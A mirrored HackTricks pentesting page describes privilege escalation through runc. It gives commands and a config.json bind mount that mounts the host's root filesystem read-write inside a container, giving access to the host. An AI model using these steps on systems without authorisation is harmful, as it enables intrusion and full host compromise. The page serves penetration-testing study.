mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
41 lines
876 B
Markdown
41 lines
876 B
Markdown
|
# RunC Privilege Escalation
|
||
|
|
||
|
## Basic information
|
||
|
|
||
|
If you want to learn more about **runc** check the following page:
|
||
|
|
||
|
{% page-ref page="../../pentesting/2375-pentesting-docker.md" %}
|
||
|
|
||
|
## PE
|
||
|
|
||
|
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
|
||
|
|
||
|
```bash
|
||
|
runc -help #Get help and see if runc is intalled
|
||
|
runc spec #This will create the config.json file in your current folder
|
||
|
|
||
|
Inside the "mounts" section of the create config.json add the following lines:
|
||
|
{
|
||
|
"type": "bind",
|
||
|
"source": "/",
|
||
|
"destination": "/",
|
||
|
"options": [
|
||
|
"rbind",
|
||
|
"rw",
|
||
|
"rprivate"
|
||
|
]
|
||
|
},
|
||
|
|
||
|
#Once you have modified the config.json file, create the folder rootfs in the same directory
|
||
|
mkdir rootfs
|
||
|
|
||
|
# Finally, start the container
|
||
|
# The root folder is the one from the host
|
||
|
runc run demo
|
||
|
```
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|